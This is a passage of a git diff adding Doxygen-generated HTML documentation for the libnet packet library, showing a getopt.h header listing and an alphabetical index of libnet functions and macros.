+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>getopt.h</h1><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * Copyright (c) 1987, 1993, 1994, 1996</span>
+00003 <span class="comment"> * The Regents of the University of California. All rights reserved.</span>
+00004 <span class="comment"> *</span>
+00005 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00006 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00007 <span class="comment"> * are met:</span>
+00008 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00009 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00010 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00011 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00012 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00013 <span class="comment"> * 3. All advertising materials mentioning features or use of this software</span>
+00014 <span class="comment"> * must display the following acknowledgement:</span>
+00015 <span class="comment"> * This product includes software developed by the University of</span>
+00016 <span class="comment"> * California, Berkeley and its contributors.</span>
+00017 <span class="comment"> * 4. Neither the name of the University nor the names of its contributors</span>
+00018 <span class="comment"> * may be used to endorse or promote products derived from this software</span>
+00019 <span class="comment"> * without specific prior written permission.</span>
+00020 <span class="comment"> *</span>
+00021 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND</span>
+00022 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00023 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00024 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE</span>
+00025 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00026 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00027 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00028 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00029 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00030 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00031 <span class="comment"> * SUCH DAMAGE.</span>
+00032 <span class="comment"> */</span>
+00033
+00034 <span class="preprocessor">#ifndef __GETOPT_H__</span>
+00035 <span class="preprocessor"></span><span class="preprocessor">#define __GETOPT_H__</span>
+00036 <span class="preprocessor"></span>
+00037 <span class="preprocessor">#ifdef __cplusplus</span>
+00038 <span class="preprocessor"></span><span class="keyword">extern</span> <span class="stringliteral">"C"</span> {
+00039 <span class="preprocessor">#endif</span>
+00040 <span class="preprocessor"></span>
+00041 <span class="keyword">extern</span> <span class="keywordtype">int</span> opterr; <span class="comment">/* if error message should be printed */</span>
+00042 <span class="keyword">extern</span> <span class="keywordtype">int</span> optind; <span class="comment">/* index into parent argv vector */</span>
+00043 <span class="keyword">extern</span> <span class="keywordtype">int</span> optopt; <span class="comment">/* character checked for validity */</span>
+00044 <span class="keyword">extern</span> <span class="keywordtype">int</span> optreset; <span class="comment">/* reset getopt */</span>
+00045 <span class="keyword">extern</span> <span class="keywordtype">char</span> *optarg; <span class="comment">/* argument associated with option */</span>
+00046
+00047 <span class="keywordtype">int</span> getopt (<span class="keywordtype">int</span>, <span class="keywordtype">char</span> * <span class="keyword">const</span> *, <span class="keyword">const</span> <span class="keywordtype">char</span> *);
+00048
+00049 <span class="preprocessor">#ifdef __cplusplus</span>
+00050 <span class="preprocessor"></span>}
+00051 <span class="preprocessor">#endif</span>
+00052 <span class="preprocessor"></span>
+00053 <span class="preprocessor">#endif </span><span class="comment">/* __GETOPT_H__ */</span>
+00054
+00055 <span class="preprocessor">#ifndef __UNISTD_GETOPT__</span>
+00056 <span class="preprocessor"></span><span class="preprocessor">#ifndef __GETOPT_LONG_H__</span>
+00057 <span class="preprocessor"></span><span class="preprocessor">#define __GETOPT_LONG_H__</span>
+00058 <span class="preprocessor"></span>
+00059 <span class="preprocessor">#ifdef __cplusplus</span>
+00060 <span class="preprocessor"></span><span class="keyword">extern</span> <span class="stringliteral">"C"</span> {
+00061 <span class="preprocessor">#endif</span>
+00062 <span class="preprocessor"></span>
+00063 <span class="keyword">struct </span>option {
+00064 <span class="keyword">const</span> <span class="keywordtype">char</span> *name;
+00065 <span class="keywordtype">int</span> has_arg;
+00066 <span class="keywordtype">int</span> *flag;
+00067 <span class="keywordtype">int</span> val;
+00068 };
+00069
+00070 <span class="keywordtype">int</span> getopt_long (<span class="keywordtype">int</span>, <span class="keywordtype">char</span> *<span class="keyword">const</span> *, <span class="keyword">const</span> <span class="keywordtype">char</span> *, <span class="keyword">const</span> <span class="keyword">struct</span> option *, <span class="keywordtype">int</span> *);
+00071 <span class="preprocessor">#ifndef HAVE_DECL_GETOPT</span>
+00072 <span class="preprocessor"></span><span class="preprocessor">#define HAVE_DECL_GETOPT 1</span>
+00073 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00074 <span class="preprocessor"></span>
+00075 <span class="preprocessor">#define no_argument 0</span>
+00076 <span class="preprocessor"></span><span class="preprocessor">#define required_argument 1</span>
+00077 <span class="preprocessor"></span><span class="preprocessor">#define optional_argument 2</span>
+00078 <span class="preprocessor"></span>
+00079 <span class="preprocessor">#ifdef __cplusplus</span>
+00080 <span class="preprocessor"></span>}
+00081 <span class="preprocessor">#endif</span>
+00082 <span class="preprocessor"></span>
+00083 <span class="preprocessor">#endif </span><span class="comment">/* __GETOPT_LONG_H__ */</span>
+00084 <span class="preprocessor">#endif </span><span class="comment">/* __UNISTD_GETOPT__ */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/globals.html b/libnet/doc/html/globals.html
new file mode 100644
index 0000000..2f6a14b
--- /dev/null
+++ b/libnet/doc/html/globals.html
@@ -0,0 +1,219 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: File Member Index</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindexHL" href="globals.html">Globals</a></div>
+<div class="qindex"><a class="qindexHL" href="globals.html">All</a> | <a class="qindex" href="globals_func.html">Functions</a> | <a class="qindex" href="globals_defs.html">Defines</a></div>
+<div class="qindex"><a class="qindex" href="#index_f">f</a> | <a class="qindex" href="#index_i">i</a> | <a class="qindex" href="#index_l">l</a></div>
+
+<p>
+
+<p>
+Here is a list of all documented functions, variables, defines, enums, and typedefs with links to the documentation:<h3><a class="anchor" name="index_f">- f -</a></h3><ul>
+<li>for_each_context_in_cq
+: <a class="el" href="libnet-macros_8h.html#a33">libnet-macros.h</a></ul>
+<h3><a class="anchor" name="index_i">- i -</a></h3><ul>
+<li>IN6ADDR_ERROR_INIT
+: <a class="el" href="libnet-macros_8h.html#a4">libnet-macros.h</a></ul>
+<h3><a class="anchor" name="index_l">- l -</a></h3><ul>
+<li>LIBNET_802_1Q_CFIMASK
+: <a class="el" href="libnet-headers_8h.html#a63">libnet-headers.h</a><li>LIBNET_802_1Q_H
+: <a class="el" href="libnet-headers_8h.html#a0">libnet-headers.h</a><li>LIBNET_802_1Q_PRIMASK
+: <a class="el" href="libnet-headers_8h.html#a62">libnet-headers.h</a><li>LIBNET_802_1Q_VIDMASK
+: <a class="el" href="libnet-headers_8h.html#a64">libnet-headers.h</a><li>LIBNET_802_1X_ENCASFAL
+: <a class="el" href="libnet-headers_8h.html#a69">libnet-headers.h</a><li>LIBNET_802_1X_H
+: <a class="el" href="libnet-headers_8h.html#a1">libnet-headers.h</a><li>LIBNET_802_1X_KEY
+: <a class="el" href="libnet-headers_8h.html#a68">libnet-headers.h</a><li>LIBNET_802_1X_LOGOFF
+: <a class="el" href="libnet-headers_8h.html#a67">libnet-headers.h</a><li>LIBNET_802_1X_PACKET
+: <a class="el" href="libnet-headers_8h.html#a65">libnet-headers.h</a><li>LIBNET_802_1X_START
+: <a class="el" href="libnet-headers_8h.html#a66">libnet-headers.h</a><li>LIBNET_802_2_H
+: <a class="el" href="libnet-headers_8h.html#a2">libnet-headers.h</a><li>LIBNET_802_2SNAP_H
+: <a class="el" href="libnet-headers_8h.html#a3">libnet-headers.h</a><li>LIBNET_802_3_H
+: <a class="el" href="libnet-headers_8h.html#a4">libnet-headers.h</a><li>libnet_addr2name4()
+: <a class="el" href="libnet-functions_8h.html#a14">libnet-functions.h</a><li>libnet_addr2name6_r()
+: <a class="el" href="libnet-functions_8h.html#a17">libnet-functions.h</a><li>libnet_adv_cull_header()
+: <a class="el" href="libnet-functions_8h.html#a99">libnet-functions.h</a><li>libnet_adv_cull_packet()
+: <a class="el" href="libnet-functions_8h.html#a98">libnet-functions.h</a><li>libnet_adv_free_packet()
+: <a class="el" href="libnet-functions_8h.html#a101">libnet-functions.h</a><li>libnet_adv_write_link()
+: <a class="el" href="libnet-functions_8h.html#a100">libnet-functions.h</a><li>LIBNET_ARP_ETH_IP_H
+: <a class="el" href="libnet-headers_8h.html#a6">libnet-headers.h</a><li>LIBNET_ARP_H
+: <a class="el" href="libnet-headers_8h.html#a5">libnet-headers.h</a><li>libnet_autobuild_arp()
+: <a class="el" href="libnet-functions_8h.html#a33">libnet-functions.h</a><li>libnet_autobuild_ethernet()
+: <a class="el" href="libnet-functions_8h.html#a29">libnet-functions.h</a><li>libnet_autobuild_fddi()
+: <a class="el" href="libnet-functions_8h.html#a31">libnet-functions.h</a><li>libnet_autobuild_ipv4()
+: <a class="el" href="libnet-functions_8h.html#a47">libnet-functions.h</a><li>libnet_autobuild_ipv6()
+: <a class="el" href="libnet-functions_8h.html#a53">libnet-functions.h</a><li>libnet_autobuild_link()
+: <a class="el" href="libnet-functions_8h.html#a92">libnet-functions.h</a><li>libnet_autobuild_token_ring()
+: <a class="el" href="libnet-functions_8h.html#a64">libnet-functions.h</a><li>LIBNET_BGP4_HEADER_H
+: <a class="el" href="libnet-headers_8h.html#a7">libnet-headers.h</a><li>LIBNET_BGP4_NOTIFICATION_H
+: <a class="el" href="libnet-headers_8h.html#a10">libnet-headers.h</a><li>LIBNET_BGP4_OPEN_H
+: <a class="el" href="libnet-headers_8h.html#a8">libnet-headers.h</a><li>LIBNET_BGP4_UPDATE_H
+: <a class="el" href="libnet-headers_8h.html#a9">libnet-headers.h</a><li>libnet_build_802_1q()
+: <a class="el" href="libnet-functions_8h.html#a23">libnet-functions.h</a><li>libnet_build_802_1x()
+: <a class="el" href="libnet-functions_8h.html#a24">libnet-functions.h</a><li>libnet_build_802_2()
+: <a class="el" href="libnet-functions_8h.html#a25">libnet-functions.h</a><li>libnet_build_802_2snap()
+: <a class="el" href="libnet-functions_8h.html#a26">libnet-functions.h</a><li>libnet_build_802_3()
+: <a class="el" href="libnet-functions_8h.html#a27">libnet-functions.h</a><li>libnet_build_arp()
+: <a class="el" href="libnet-functions_8h.html#a32">libnet-functions.h</a><li>libnet_build_bgp4_header()
+: <a class="el" href="libnet-functions_8h.html#a86">libnet-functions.h</a><li>libnet_build_bgp4_notification()
+: <a class="el" href="libnet-functions_8h.html#a89">libnet-functions.h</a><li>libnet_build_bgp4_open()
+: <a class="el" href="libnet-functions_8h.html#a87">libnet-functions.h</a><li>libnet_build_bgp4_update()
+: <a class="el" href="libnet-functions_8h.html#a88">libnet-functions.h</a><li>libnet_build_bootpv4()
+: <a class="el" href="libnet-functions_8h.html#a80">libnet-functions.h</a><li>libnet_build_cdp()
+: <a class="el" href="libnet-functions_8h.html#a37">libnet-functions.h</a><li>libnet_build_data()
+: <a class="el" href="libnet-functions_8h.html#a78">libnet-functions.h</a><li>libnet_build_dhcpv4()
+: <a class="el" href="libnet-functions_8h.html#a79">libnet-functions.h</a><li>libnet_build_dnsv4()
+: <a class="el" href="libnet-functions_8h.html#a58">libnet-functions.h</a><li>libnet_build_egre()
+: <a class="el" href="libnet-functions_8h.html#a83">libnet-functions.h</a><li>libnet_build_ethernet()
+: <a class="el" href="libnet-functions_8h.html#a28">libnet-functions.h</a><li>libnet_build_fddi()
+: <a class="el" href="libnet-functions_8h.html#a30">libnet-functions.h</a><li>libnet_build_gre()
+: <a class="el" href="libnet-functions_8h.html#a82">libnet-functions.h</a><li>libnet_build_gre_last_sre()
+: <a class="el" href="libnet-functions_8h.html#a85">libnet-functions.h</a><li>libnet_build_gre_sre()
+: <a class="el" href="libnet-functions_8h.html#a84">libnet-functions.h</a><li>libnet_build_icmpv4_echo()
+: <a class="el" href="libnet-functions_8h.html#a38">libnet-functions.h</a><li>libnet_build_icmpv4_mask()
+: <a class="el" href="libnet-functions_8h.html#a39">libnet-functions.h</a><li>libnet_build_icmpv4_redirect()
+: <a class="el" href="libnet-functions_8h.html#a41">libnet-functions.h</a><li>libnet_build_icmpv4_timeexceed()
+: <a class="el" href="libnet-functions_8h.html#a42">libnet-functions.h</a><li>libnet_build_icmpv4_timestamp()
+: <a class="el" href="libnet-functions_8h.html#a43">libnet-functions.h</a><li>libnet_build_icmpv4_unreach()
+: <a class="el" href="libnet-functions_8h.html#a40">libnet-functions.h</a><li>libnet_build_igmp()
+: <a class="el" href="libnet-functions_8h.html#a44">libnet-functions.h</a><li>libnet_build_ipsec_ah()
+: <a class="el" href="libnet-functions_8h.html#a57">libnet-functions.h</a><li>libnet_build_ipsec_esp_ftr()
+: <a class="el" href="libnet-functions_8h.html#a56">libnet-functions.h</a><li>libnet_build_ipsec_esp_hdr()
+: <a class="el" href="libnet-functions_8h.html#a55">libnet-functions.h</a><li>libnet_build_ipv4()
+: <a class="el" href="libnet-functions_8h.html#a45">libnet-functions.h</a><li>libnet_build_ipv4_options()
+: <a class="el" href="libnet-functions_8h.html#a46">libnet-functions.h</a><li>libnet_build_ipv6()
+: <a class="el" href="libnet-functions_8h.html#a48">libnet-functions.h</a><li>libnet_build_ipv6_destopts()
+: <a class="el" href="libnet-functions_8h.html#a51">libnet-functions.h</a><li>libnet_build_ipv6_frag()
+: <a class="el" href="libnet-functions_8h.html#a49">libnet-functions.h</a><li>libnet_build_ipv6_hbhopts()
+: <a class="el" href="libnet-functions_8h.html#a52">libnet-functions.h</a><li>libnet_build_ipv6_routing()
+: <a class="el" href="libnet-functions_8h.html#a50">libnet-functions.h</a><li>libnet_build_isl()
+: <a class="el" href="libnet-functions_8h.html#a54">libnet-functions.h</a><li>libnet_build_link()
+: <a class="el" href="libnet-functions_8h.html#a91">libnet-functions.h</a><li>libnet_build_mpls()
+: <a class="el" href="libnet-functions_8h.html#a66">libnet-functions.h</a><li>libnet_build_ntp()
+: <a class="el" href="libnet-functions_8h.html#a67">libnet-functions.h</a><li>libnet_build_ospfv2()
+: <a class="el" href="libnet-functions_8h.html#a68">libnet-functions.h</a><li>libnet_build_ospfv2_dbd()
+: <a class="el" href="libnet-functions_8h.html#a70">libnet-functions.h</a><li>libnet_build_ospfv2_hello()
+: <a class="el" href="libnet-functions_8h.html#a69">libnet-functions.h</a><li>libnet_build_ospfv2_lsa()
+: <a class="el" href="libnet-functions_8h.html#a73">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_as()
+: <a class="el" href="libnet-functions_8h.html#a77">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_net()
+: <a class="el" href="libnet-functions_8h.html#a75">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_rtr()
+: <a class="el" href="libnet-functions_8h.html#a74">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_sum()
+: <a class="el" href="libnet-functions_8h.html#a76">libnet-functions.h</a><li>libnet_build_ospfv2_lsr()
+: <a class="el" href="libnet-functions_8h.html#a71">libnet-functions.h</a><li>libnet_build_ospfv2_lsu()
+: <a class="el" href="libnet-functions_8h.html#a72">libnet-functions.h</a><li>libnet_build_rip()
+: <a class="el" href="libnet-functions_8h.html#a59">libnet-functions.h</a><li>libnet_build_rpc_call()
+: <a class="el" href="libnet-functions_8h.html#a60">libnet-functions.h</a><li>libnet_build_sebek()
+: <a class="el" href="libnet-functions_8h.html#a90">libnet-functions.h</a><li>libnet_build_stp_conf()
+: <a class="el" href="libnet-functions_8h.html#a61">libnet-functions.h</a><li>libnet_build_stp_tcn()
+: <a class="el" href="libnet-functions_8h.html#a62">libnet-functions.h</a><li>libnet_build_tcp()
+: <a class="el" href="libnet-functions_8h.html#a34">libnet-functions.h</a><li>libnet_build_tcp_options()
+: <a class="el" href="libnet-functions_8h.html#a35">libnet-functions.h</a><li>libnet_build_token_ring()
+: <a class="el" href="libnet-functions_8h.html#a63">libnet-functions.h</a><li>libnet_build_udp()
+: <a class="el" href="libnet-functions_8h.html#a36">libnet-functions.h</a><li>libnet_build_vrrp()
+: <a class="el" href="libnet-functions_8h.html#a65">libnet-functions.h</a><li>LIBNET_CDP_H
+: <a class="el" href="libnet-headers_8h.html#a11">libnet-headers.h</a><li>libnet_clear_packet()
+: <a class="el" href="libnet-functions_8h.html#a3">libnet-functions.h</a><li>libnet_cq_add()
+: <a class="el" href="libnet-functions_8h.html#a102">libnet-functions.h</a><li>libnet_cq_destroy()
+: <a class="el" href="libnet-functions_8h.html#a107">libnet-functions.h</a><li>libnet_cq_find_by_label()
+: <a class="el" href="libnet-functions_8h.html#a106">libnet-functions.h</a><li>libnet_cq_getlabel()
+: <a class="el" href="libnet-functions_8h.html#a105">libnet-functions.h</a><li>libnet_cq_head()
+: <a class="el" href="libnet-functions_8h.html#a108">libnet-functions.h</a><li>libnet_cq_last()
+: <a class="el" href="libnet-functions_8h.html#a109">libnet-functions.h</a><li>libnet_cq_next()
+: <a class="el" href="libnet-functions_8h.html#a110">libnet-functions.h</a><li>libnet_cq_remove()
+: <a class="el" href="libnet-functions_8h.html#a103">libnet-functions.h</a><li>libnet_cq_remove_by_label()
+: <a class="el" href="libnet-functions_8h.html#a104">libnet-functions.h</a><li>libnet_cq_size()
+: <a class="el" href="libnet-functions_8h.html#a111">libnet-functions.h</a><li>libnet_destroy()
+: <a class="el" href="libnet-functions_8h.html#a2">libnet-functions.h</a><li>LIBNET_DHCPV4_H
+: <a class="el" href="libnet-headers_8h.html#a12">libnet-headers.h</a><li>libnet_diag_dump_context()
+: <a class="el" href="libnet-functions_8h.html#a112">libnet-functions.h</a><li>libnet_diag_dump_hex()
+: <a class="el" href="libnet-functions_8h.html#a115">libnet-functions.h</a><li>libnet_diag_dump_pblock()
+: <a class="el" href="libnet-functions_8h.html#a113">libnet-functions.h</a><li>libnet_diag_dump_pblock_type()
+: <a class="el" href="libnet-functions_8h.html#a114">libnet-functions.h</a><li>LIBNET_DONT_RESOLVE
+: <a class="el" href="libnet-macros_8h.html#a0">libnet-macros.h</a><li>LIBNET_ERRBUF_SIZE
+: <a class="el" href="libnet-macros_8h.html#a18">libnet-macros.h</a><li>LIBNET_ETH_H
+: <a class="el" href="libnet-headers_8h.html#a15">libnet-headers.h</a><li>LIBNET_FDDI_H
+: <a class="el" href="libnet-headers_8h.html#a16">libnet-headers.h</a><li>libnet_get_hwaddr()
+: <a class="el" href="libnet-functions_8h.html#a96">libnet-functions.h</a><li>libnet_get_ipaddr4()
+: <a class="el" href="libnet-functions_8h.html#a94">libnet-functions.h</a><li>libnet_get_ipaddr6()
+: <a class="el" href="libnet-functions_8h.html#a95">libnet-functions.h</a><li>libnet_get_prand()
+: <a class="el" href="libnet-functions_8h.html#a12">libnet-functions.h</a><li>libnet_getdevice()
+: <a class="el" href="libnet-functions_8h.html#a6">libnet-functions.h</a><li>libnet_geterror()
+: <a class="el" href="libnet-functions_8h.html#a9">libnet-functions.h</a><li>libnet_getfd()
+: <a class="el" href="libnet-functions_8h.html#a5">libnet-functions.h</a><li>libnet_getgre_length()
+: <a class="el" href="libnet-functions_8h.html#a81">libnet-functions.h</a><li>libnet_getpacket_size()
+: <a class="el" href="libnet-functions_8h.html#a10">libnet-functions.h</a><li>libnet_getpbuf()
+: <a class="el" href="libnet-functions_8h.html#a7">libnet-functions.h</a><li>libnet_getpbuf_size()
+: <a class="el" href="libnet-functions_8h.html#a8">libnet-functions.h</a><li>LIBNET_GRE_H
+: <a class="el" href="libnet-headers_8h.html#a36">libnet-headers.h</a><li>LIBNET_GRE_SRE_H
+: <a class="el" href="libnet-headers_8h.html#a37">libnet-headers.h</a><li>libnet_hex_aton()
+: <a class="el" href="libnet-functions_8h.html#a97">libnet-functions.h</a><li>LIBNET_ICMPV4_ECHO_H
+: <a class="el" href="libnet-headers_8h.html#a18">libnet-headers.h</a><li>LIBNET_ICMPV4_H
+: <a class="el" href="libnet-headers_8h.html#a17">libnet-headers.h</a><li>LIBNET_ICMPV4_MASK_H
+: <a class="el" href="libnet-headers_8h.html#a19">libnet-headers.h</a><li>LIBNET_ICMPV4_REDIRECT_H
+: <a class="el" href="libnet-headers_8h.html#a22">libnet-headers.h</a><li>LIBNET_ICMPV4_TIMXCEED_H
+: <a class="el" href="libnet-headers_8h.html#a21">libnet-headers.h</a><li>LIBNET_ICMPV4_TS_H
+: <a class="el" href="libnet-headers_8h.html#a23">libnet-headers.h</a><li>LIBNET_ICMPV4_UNREACH_H
+: <a class="el" href="libnet-headers_8h.html#a20">libnet-headers.h</a><li>LIBNET_ICMPV6_H
+: <a class="el" href="libnet-headers_8h.html#a24">libnet-headers.h</a><li>LIBNET_IGMP_H
+: <a class="el" href="libnet-headers_8h.html#a25">libnet-headers.h</a><li>libnet_init()
+: <a class="el" href="libnet-functions_8h.html#a1">libnet-functions.h</a><li>LIBNET_IPSEC_AH_H
+: <a class="el" href="libnet-headers_8h.html#a34">libnet-headers.h</a><li>LIBNET_IPSEC_ESP_FTR_H
+: <a class="el" href="libnet-headers_8h.html#a33">libnet-headers.h</a><li>LIBNET_IPSEC_ESP_HDR_H
+: <a class="el" href="libnet-headers_8h.html#a32">libnet-headers.h</a><li>LIBNET_IPV4_H
+: <a class="el" href="libnet-headers_8h.html#a26">libnet-headers.h</a><li>LIBNET_IPV6_DESTOPTS_H
+: <a class="el" href="libnet-headers_8h.html#a30">libnet-headers.h</a><li>LIBNET_IPV6_FRAG_H
+: <a class="el" href="libnet-headers_8h.html#a28">libnet-headers.h</a><li>LIBNET_IPV6_H
+: <a class="el" href="libnet-headers_8h.html#a27">libnet-headers.h</a><li>LIBNET_IPV6_HBHOPTS_H
+: <a class="el" href="libnet-headers_8h.html#a31">libnet-headers.h</a><li>LIBNET_IPV6_ROUTING_H
+: <a class="el" href="libnet-headers_8h.html#a29">libnet-headers.h</a><li>LIBNET_ISL_H
+: <a class="el" href="libnet-headers_8h.html#a35">libnet-headers.h</a><li>LIBNET_MAX_PACKET
+: <a class="el" href="libnet-macros_8h.html#a12">libnet-macros.h</a><li>LIBNET_MAXOPTION_SIZE
+: <a class="el" href="libnet-macros_8h.html#a19">libnet-macros.h</a><li>LIBNET_MPLS_H
+: <a class="el" href="libnet-headers_8h.html#a38">libnet-headers.h</a><li>libnet_name2addr4()
+: <a class="el" href="libnet-functions_8h.html#a15">libnet-functions.h</a><li>libnet_name2addr6()
+: <a class="el" href="libnet-functions_8h.html#a16">libnet-functions.h</a><li>LIBNET_NTP_H
+: <a class="el" href="libnet-headers_8h.html#a51">libnet-headers.h</a><li>LIBNET_OFF
+: <a class="el" href="libnet-macros_8h.html#a3">libnet-macros.h</a><li>LIBNET_ON
+: <a class="el" href="libnet-macros_8h.html#a2">libnet-macros.h</a><li>LIBNET_OSPF_AUTH_H
+: <a class="el" href="libnet-headers_8h.html#a45">libnet-headers.h</a><li>LIBNET_OSPF_CKSUM
+: <a class="el" href="libnet-headers_8h.html#a46">libnet-headers.h</a><li>LIBNET_OSPF_DBD_H
+: <a class="el" href="libnet-headers_8h.html#a41">libnet-headers.h</a><li>LIBNET_OSPF_H
+: <a class="el" href="libnet-headers_8h.html#a39">libnet-headers.h</a><li>LIBNET_OSPF_HELLO_H
+: <a class="el" href="libnet-headers_8h.html#a40">libnet-headers.h</a><li>LIBNET_OSPF_LS_AS_EXT_H
+: <a class="el" href="libnet-headers_8h.html#a50">libnet-headers.h</a><li>LIBNET_OSPF_LS_NET_H
+: <a class="el" href="libnet-headers_8h.html#a48">libnet-headers.h</a><li>LIBNET_OSPF_LS_RTR_H
+: <a class="el" href="libnet-headers_8h.html#a47">libnet-headers.h</a><li>LIBNET_OSPF_LS_SUM_H
+: <a class="el" href="libnet-headers_8h.html#a49">libnet-headers.h</a><li>LIBNET_OSPF_LSA_H
+: <a class="el" href="libnet-headers_8h.html#a44">libnet-headers.h</a><li>LIBNET_OSPF_LSR_H
+: <a class="el" href="libnet-headers_8h.html#a42">libnet-headers.h</a><li>LIBNET_OSPF_LSU_H
+: <a class="el" href="libnet-headers_8h.html#a43">libnet-headers.h</a><li>libnet_plist_chain_dump()
+: <a class="el" href="libnet-functions_8h.html#a20">libnet-functions.h</a><li>libnet_plist_chain_dump_string()
+: <a class="el" href="libnet-functions_8h.html#a21">libnet-functions.h</a><li>libnet_plist_chain_free()
+: <a class="el" href="libnet-functions_8h.html#a22">libnet-functions.h</a><li>libnet_plist_chain_new()
+: <a class="el" href="libnet-functions_8h.html#a18">libnet-functions.h</a><li>libnet_plist_chain_next_pair()
+: <a class="el" href="libnet-functions_8h.html#a19">libnet-functions.h</a><li>LIBNET_PR2
+: <a class="el" href="libnet-macros_8h.html#a5">libnet-macros.h</a><li>LIBNET_RESOLVE
+: <a class="el" href="libnet-macros_8h.html#a1">libnet-macros.h</a><li>LIBNET_RIP_H
+: <a class="el" href="libnet-headers_8h.html#a52">libnet-headers.h</a><li>LIBNET_RPC_CALL_H
+: <a class="el" href="libnet-headers_8h.html#a53">libnet-headers.h</a><li>LIBNET_RPC_CALL_TCP_H
+: <a class="el" href="libnet-headers_8h.html#a54">libnet-headers.h</a><li>libnet_seed_prand()
+: <a class="el" href="libnet-functions_8h.html#a11">libnet-functions.h</a><li>libnet_stats()
+: <a class="el" href="libnet-functions_8h.html#a4">libnet-functions.h</a><li>LIBNET_STP_CONF_H
+: <a class="el" href="libnet-headers_8h.html#a56">libnet-headers.h</a><li>LIBNET_STP_TCN_H
+: <a class="el" href="libnet-headers_8h.html#a57">libnet-headers.h</a><li>LIBNET_TCP_DNSV4_H
+: <a class="el" href="libnet-headers_8h.html#a14">libnet-headers.h</a><li>LIBNET_TCP_H
+: <a class="el" href="libnet-headers_8h.html#a59">libnet-headers.h</a><li>libnet_toggle_checksum()
+: <a class="el" href="libnet-functions_8h.html#a13">libnet-functions.h</a><li>LIBNET_TOKEN_RING_H
+: <a class="el" href="libnet-headers_8h.html#a58">libnet-headers.h</a><li>LIBNET_UDP_DNSV4_H
+: <a class="el" href="libnet-headers_8h.html#a13">libnet-headers.h</a><li>LIBNET_UDP_H
+: <a class="el" href="libnet-headers_8h.html#a60">libnet-headers.h</a><li>LIBNET_VRRP_H
+: <a class="el" href="libnet-headers_8h.html#a61">libnet-headers.h</a><li>libnet_write()
+: <a class="el" href="libnet-functions_8h.html#a93">libnet-functions.h</a></ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/globals_defs.html b/libnet/doc/html/globals_defs.html
new file mode 100644
index 0000000..4a3daed
--- /dev/null
+++ b/libnet/doc/html/globals_defs.html
@@ -0,0 +1,104 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: File Member Index</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindexHL" href="globals.html">Globals</a></div>
+<div class="qindex"><a class="qindex" href="globals.html">All</a> | <a class="qindex" href="globals_func.html">Functions</a> | <a class="qindexHL" href="globals_defs.html">Defines</a></div>
+<div class="qindex"><a class="qindex" href="#index_f">f</a> | <a class="qindex" href="#index_i">i</a> | <a class="qindex" href="#index_l">l</a></div>
+
+<p>
+
+<p>
+<h3><a class="anchor" name="index_f">- f -</a></h3><ul>
+<li>for_each_context_in_cq
